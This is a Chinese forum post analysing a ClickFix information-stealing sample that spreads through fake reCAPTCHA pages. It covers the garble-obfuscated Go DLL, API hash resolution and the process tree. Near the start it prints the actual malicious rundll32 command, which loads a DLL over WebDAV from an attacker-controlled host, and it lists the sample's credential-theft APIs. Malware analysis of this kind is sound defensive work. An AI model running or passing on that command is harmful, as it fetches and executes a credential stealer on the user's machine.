[原创]ClickFix 多阶段信息窃取样本深度分析

0. 前言这篇文章记录了笔者对一个 ClickFix 样本的完整分析过程，当然也包括了笔者还没有分析出来的部分。该样本通过 WEB 页面传播，其通过弹出伪 reCAPTCHA 验证框，引导用户去执行了 PowerShell 命令，如下图所示：这个样本的对抗性设计其实有点超出笔者的预期，其用到了 garble 混淆的 Go DLL、多层的 Python 脱壳、以及自解密 shellcode、EtherHiding 区块链 C2 等等技术实现隐藏并逃避分析检测。1. 初始感染1.1 攻击场景ClickFix 也是一种近年来流行的社会工程学攻击手法。攻击者通过在正常网页中注入恶意广告，广告页面伪装为 Google reCAPTCHA 验证页面，诱导用户直接执行恶意指令：例如在这个样本里，其要求用户执行以下操作：按 Win+R 打开运行对话框按 Ctrl+V 粘贴其写入的指令按回车执行1.2 实际执行的命令    其页面实际向剪贴板注入的命令是：rundll32.exe \\term4logicway.centenary-kurgan.bet\software-distribution-dxnp2c7\meta-verify.index,#1    这条命令通过 WebDAV 协议从远程服务器加载 DLL 并执行。显然， meta-verify.index 即为伪装成系统验证文件的样本，用 #1 指定导出函数序号执行。2. Stage 1：meta-verify.index 静态分析2.1 样本基础信息该前置样本，也就是 meta-verify.index 文件基础信息如下：字段值文件名meta-verify.index大小5,193,728 bytes (~5MB)类型PE32+ DLL (x86-64)MD5cb974e6f8c508b73e7cf061fb185af89SHA-1b59152c36a856dbfcb0140548f613433192b9f51SHA-256cb2e02747ad64b3df49cff3dc5bff9563f31309dd9ebfb9832dd979c38a1aecf编译时间2025-09-01 12:28:39 UTC编译器Mingw-w64 + Go 1.22+混淆器garble (-tiny -literals)是否签名否是否加壳否（各节区熵值正常）节区熵值如下：节区虚拟地址熵值属性.text0x10006.60RX.rdata0x2540005.60R.data0x4bf0003.91RW.pdata0x53a0005.51R.tls0x54c0000.00RW单纯从熵值来看，基本正常。2.2 识别混淆当时笔者也没多想，直接就丢进了 IDA Pro，但是发现做了混淆，基本没发现什么有用的信息。看到字符串的排布方式，大概就明白了，这个是用了 garble 混淆的 GO 语言样本：最后用 GoReSym 分析后得到了下面的信息，可以供大家参考：Go 版本：1.21+/1.22+
用户函数：4554 个
标准库函数：1848 个
包名乱码推测是用 garble -tiny 方式删除了所有符号信息，用了 -literals 把字符串拆散成字节常量放到栈上拼接，导致静态扫描工具无法提取有意义的字符串。2.3 调用链追踪在 IDA Pro 中分析导出表，找到 ordinal #1 对应的 RtlUpdateDescriptor，显然这个名字也是为了伪装为合法 API 名：// 导出函数入口
__int64 RtlUpdateDescriptor() {
    __int64 v0 = sub_1802524F0();     // Go runtime 初始化
    sub_18008BD80(                // runtime.newproc，创建 goroutine
        sub_180252060,            // goroutine 函数指针
        &v2, 0, v0
    return sub_180252290(v0);        // runtime.mstart，启动调度器
}继续追踪到攻击者的入口 sub_180246220：void sub_180246220() {
    sub_180250780();
    sub_180244D60();
    sub_180246520();
    sub_180244D60();

    if (dword_180535A30) {
        sub_1800755C0(v4);

    sub_180247180();
    sub_18004A140();
    sub_18023FCC0();
}具体的函数内容，笔者没有深入进去分析，因为都经过了混淆。分析这个耗费的时间成本过高。2.4 API 哈希解析继续分析下去，该样本不直接导入敏感 API，而是在运行时通过哈希查找，这也是常用的一种检测逃逸方法了。其从 .rdata 段提取到明文 API 列表（garble 将字符串拼接数据误放在了一个被 IDA 错误识别为 pclmulqdqmathR 的数据块中）：# DLL
dnsapi.dll / ws2_32.dll / dwmapi.dll / user32.dll

# 关键 API
DnsQuery_W      → DNS查询，解析C2/区块链节点
WSAStartup/WSASocketW → 网络初始化
OpenMutexW      → 防多实例运行
CreatePipe      → 管道通信，Stage1↔Stage2数据传递
OpenEventW/PulseEvent → 进程间同步
LockFileEx      → 独占访问目标文件
CryptUnprotectData → DPAPI解密（浏览器密码）CreatePipe + OpenEvent + PulseEvent 的组合解释了为什么后续动态分析的进程树中出现了两个 rundll32——Stage 1 和 Stage 2 之间是通过命名管道和事件对象进行同步通信。3. 动态分析：Stage 13.1 进程树笔者分析到这里，感觉静态分析已经进行不太下去了，就上了ANY.RUN，一开始的分析时间是不够的，所以没有发现任何实际行为。笔者在用完了 ANY.RUN 的样本分析延时后，跑了大概 5 分钟左右吧，得到了其完整的进程拓扑如下：rundll32.exe (meta-verify.index,#1)
├── dllhost.exe (PID 4480)
└── rundll32.exe (PID 1032)
    ├── chrome.exe (PID 7964)    // 启动浏览器提取凭据
    ├── msedge.exe (PID 3748)
    ├── dllhost.exe (PID 7960) [DMP]

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-291093.htm